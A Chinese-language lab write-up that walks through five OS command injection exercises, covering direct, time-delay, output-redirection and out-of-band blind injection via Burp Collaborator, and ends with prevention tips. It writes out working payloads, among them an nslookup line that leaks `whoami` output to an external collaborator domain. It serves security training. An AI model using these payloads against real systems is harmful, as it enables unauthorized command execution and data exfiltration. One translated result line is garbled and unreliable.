目录
1.Lab:OS命令注入,简单案例
2.Lab:具有时间延迟的盲操作系统命令注入
3.Lab: 带有输出重定向的盲操作系统命令注入
4.Lab:带外交互的盲操作系统命令注入
Collaborator 介绍
5.Lab: 带外数据泄露的盲操作系统命令注入
总结
如何防止OS命令注入攻击?
1.Lab:OS命令注入,简单案例
首先先打开靶场:
点击第一个查看详情时可以发现其url中存在一个参数,这里有可能会产生漏洞故而尝试在其构建命令语句|whoami
尝试后查看回显结果为错误代码400客户端错误,说明命令注入的漏洞可能不在这里。
正常进入后发现在其网页下端有一个检查库存的用户交互按钮,点击之后弹出如下数据包信息。
可以看到,在原有的productId=1的参数的基础上又多出一个参数名为storeId=1尝试对其进行注入|whoami
弹出对话框发现成功过关。
2.Lab:具有时间延迟的盲操作系统命令注入
先了解一下什么是os盲注
OS命令盲注,与Sql盲注相同,都是不会在回显中直接获取到OS命令注入结果。
和第一节课不同的是这一关好像没有查看库存的按钮了,但是在右上角多出了一个提交反馈的按键。点击后输入对应的内容提交
之后发现捕获如下数据包信息
可以发现post传输数据中有参数,可以尝试在其中一个中注入命令参数,依照惯例我们先用|whoami看看是否可行。
嗯,可以看到我们在对其他参数进行命令注入后,系统相应了我们对应的命令请求,但是没有回显内容。
这个时候我们就可以使用一段延迟的os命令比如我们可以利用ping发一定数量的包来达到这种效果
|ping -c 10 127.0.0.1
这里先说明一下|、||、&、&&的具体区别:
& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’
| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
将|ping -c 10 127.0.0.1输入到email或者name的后面后,弹出过关。
3.Lab: 带有输出重定向的盲操作系统命令注入
首先先打开靶场:
可以发现,可交互按钮好像也就一个意见反馈。这是和第二关一样的,注入的位置同样也在意见反馈的信息中。
点击意见反馈后抓包
将|whoami执行后的结果重定向写入到一个指定的文件中,这里有两种方法:
第一种:可以将其写入一个指定的文件中,之后通过cat或者more命令利用管道读取文件内容即可
但是貌似没有读取到信息,但是我们的命令执行了。原因可能是我们的权限太低或者文件没有读权限。
第二种方法:
指定保存到指定目录下的:/var/www/images/output.txt,可能很多人和我一样有疑问,我能不能写入之后再通过cat查看其中内容呢,但是这是错误的因为我们是盲注,他把我们的结果隐藏了言外之意是我们只能通过url来读取指定文件了。
重定向其指定地址后,我们通过读取主页内容进而读取到文档中的内容,其实这里也存在文件遍历漏洞。。。。
修改filename参数,将值更改为为注入命令的输出指定的文件的名称。
成功读取到指定文件,实验通过(文件操作漏洞哪里有点生疏,复习一下)
补充一下关于路径是如何得知的这件事以及为什么就是要写在var/www/images/这一目录下面这个问题。首先先说明一下为什么要写在images这个目录下
因为我们在点击查看详情后抓到了如下的数据包:
此处存在一个文件读取漏洞,可以展示我们想要输入的内容。再通过猜解得知其存放图片的路径,从而插入内容。
4.Lab:带外交互的盲操作系统命令注入
这里和sql注入章节中的dns注入类似,但是操作方式有所不同,先来了解一下nslookup命令
nslookup命令用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题。
例如我们可以利用dns命令查看百度域名对应的ip地址
“nslookup www.baidu.com”
其次我们再来了解一下Collaborator
我们在做渗透测试的时候,经常会遇到这种情况,测试跨站可能有些功能插入恶意脚本后无法立即触发,例如提交反馈表单,需要等管理员打开查看提交信息时才会触发,或者是盲注跨站,盲打 XSS 这种。再例如 SSRF,如果程序不进行回显任何信息,而只提示你输入的是否合法,那么也无法直接判断程序存在 SSRF 漏洞,我们可以叫盲 SSRF。再例如 XXE,引入外部文件时,如果程序也不返回任何信息和引用文件的内容,而只提示输入的是否有误,那么也无法直接判断程序是否存在 XXE 漏洞,我们也可以叫盲 XXE。总之,程序不进行详细的回显信息,而只是返回对或者错时,我们都可以叫它盲。
解决办法是,我们需要一个外部的独立的服务器,可以通过域名 url 进行访问。然后在测试盲跨站插入恶意脚本时带上这个服务器的地址,在测试盲 SSRF 时读取的文件 url 写我们这个服务器的地址,在测试盲 XXE 时引入的外部实体地址也写我们这个服务器的地址。如果存在上述的这些问题,那么目标服务器就会去访问我们自己的服务器,我们自己服务器要做的就是记录别人访问自己的信息,记录其发送内容相应内容等,因为目标服务器不会给前台返回任何信息,而在和我们外部服务器交互时,我们外部服务器会记录其交互的过程和内容,从而有利于我们判断漏洞的存在。
明白原理后,Burp 给我们提供了这个外部服务器,叫 Collaborator,对于 Collaborator 服务器,我们有两种使用方式,第一个是使用 burp 官方提供的,第二个是自己搭建。
Collaborator 介绍
对于 Collaborator 服务器,我们这里简单介绍下它应该拥有哪些功能。首先它要能捕捉到 burp 发出的 payload 触发目标与外部系统发生数据的交互行为,其次它自己与目标产生交互的数据要能够返回到 burp,也就是返回给攻击者,也就是我们。
对于 Collaborator 服务器,我们这里再简单的介绍下它应该有哪些服务,首先它是公网 ip,其次它要有自己的域名,并且这个服务器要注册为该域名的权威 dns 服务器。然后这个服务器要提供 dns 服务,并且可以相应任何对它的 dns 请求。最后它需要提供 http 和 https 服务,且需要使用一个有效的 ssl 证书。对于为什么要提供 dns 和 http、https 服务很好理解,payload 如果可以执行或者可以允许远程加载,那么就需要用 dns 来解析我们的域名,而产生的交互则需要 http 和 https 来提供。
我们知道了使用原因和其具有的功能后,我们再来简单看下它的原理,首先,我们先来看下平时的测试过程,如下图。
平时测试时,我们会像服务器提交一个 payload,而服务器响应给我们相关的 response 信息。大家都叫它带内攻击,这些理论的东西,我们简单理解就好,这里我们就理解成单挑通信的通道为带内攻击,也就是整个测试过程或者说是交互过程,中间没有其外部的服务器参与,只有自己和目标服务器,那么就叫带内。而我们一般的测试如果称为带内攻击,那么 Collaborator 服务器用来测试盲的各种漏洞的话,则需要我们外部的独立服务器参数,也就是带入了外部的服务器,我们叫它带外攻击。这里简单的提了一下这个带内和带外,我们只要理解其过程即可。带外流程图如下。
以上就是 collaborator,也就是带外攻击的大体流程,其实就是在测试的过程中目标服务器和外部的服务器有了交互,下面再来看一张更详细的图。
上面这个图可以大体的代表 collaborator 的大体工作流程,首先 burp 发送 payload 给目标程序,以上图为例,param 存在漏洞注入点,其 payload 为外部的服务器 url 地址,随后目标程序若进行解析或则引用调用等,则会去访问这个地址,而这个地址是我们的 collaborator 服务器,所以 collaborator 会记录其访问的请求信息以及响应信息和 dns 的信息。而当 burp 发送 payload 后,就会不断的去问 collaborator 服务器,你收到我发送的 payload 交互了么,这时 collaborator 就会将交互信息告诉 burp,burp 最后进行报告。
以上就是 collaborator 的大体工作流程,最后我们再说两个理论性的东西,一个是 burp 的 collaborator 地址,当使用 burp 的 collaborator 时,burp 会提供一个 url 地址,这个地址是 burp 的一个二级域名。第二个是轮询,也就是我们上面提到的,burp 发送 payload 后会不断的问 collaborator 是否收到我发生的 payload 交互信息,例如 10s 问一次,我们可以叫它轮询,其实叫什么无所谓,我们理解这个过程即可。
简单来说就是一个可以映射我们命令内容的一个dnslog
这里我们使用bp自带的collaborator
了解完之后我们进入靶场:
进入靶场后分析,依旧还是在信息反馈处存在命令注入(注意在实战情况下可以通过这种方法判断此处是否存在命令注入漏洞,如果是盲注的话)
在email处构造payload如下:
x||nslookup+z33kpsqfnmrpv2eoye94288v3m9cx1.burpcollaborator.net
我来解释一下这串payload的含义:
||代表的是命令的连接符
nslookup+z33kpsqfnmrpv2eoye94288v3m9cx1.burpcollaborator.net
查看z33kpsqfnmrpv2eoye94288v3m9cx1.burpcollaborator.net域名对应的ip地址
结果:
协作服务器收到域名ypr7thonu0pv7zhgr48927thm8szgo的a型DNS查找。burpcollaborator。网查询是在2022-2024年从IP地址xxx.xxx.xxx.xxx收到的-协调世界时30:12:19:48。
将其写入email后之后点击collaborator页面中的现在轮询
页面提示成功过关
5.Lab: 带外数据泄露的盲操作系统命令注入
在开始靶场之前我们先来了解一下linux中的``(反引号)和$()
``和$()是一样的。在执行一条命令时,会先将其中的 ``或者是$() 中的语句当作命令执行一遍,再将结果加入到原命令中重新执行
进入靶场和4号靶场相同同样我们来到意见反馈界面抓包
在email处构造payload如下:
||nslookup+`whoami`+nwn8igj3gakdoq7cr22svw1jwa21qq.burpcollaborator.net||
解释一下payload
首先我们会先执行whoami的命令得到我们的用户名,随后将用户名代入nslookup命令中执行对nwn8igj3gakdoq7cr22svw1jwa21qq.burpcollaborator.net的ip地址查看,然后将内容反馈到collaborator页面中
结果
得到当前用户为peter
完成通关,至于这里`whoami`后面连接url地址是用.还是+号都是可以的,但千万不要啥也不加,注意注意注意,我更推荐使用+
总结
通过上面的学习,我们了解到注入的OS命令需要搭配命令分隔符使用,以下命令分隔符是Linux和Windows系统下通用的
- &
- &&
- |
- ||
还有几个是只有Linux系统下的
- ;
- 换行符(0x0a or n)
在Linux系统上,还可以使用反引号(`)或美元符号($)对注入命令进行内联执行,这样方便我们将结果拼接到带外地址中,有的时候我们的输入会被括在引号里面,不用慌,我们只需要在输入中利用引号闭合掉就可以继续注入我们的命令了
如何防止OS命令注入攻击?
从前面讲的内容来看,导致OS命令注入的原因是我们直接将输入与命令前缀拼接执行,这样风险非常大的,如果我们不能接入一些API来实现执行命令,我们就需要实施严格的输入过滤,大概有以下几种方法
- 设置白名单并禁止白名单外的字符存在于输入中
- 验证输入数据类型是否符合要求
- 使用waf产品
- 建议千万不要转义shell元字符,为了防止老手用骚操作绕过(不要对输入进来的命令进行转义?)



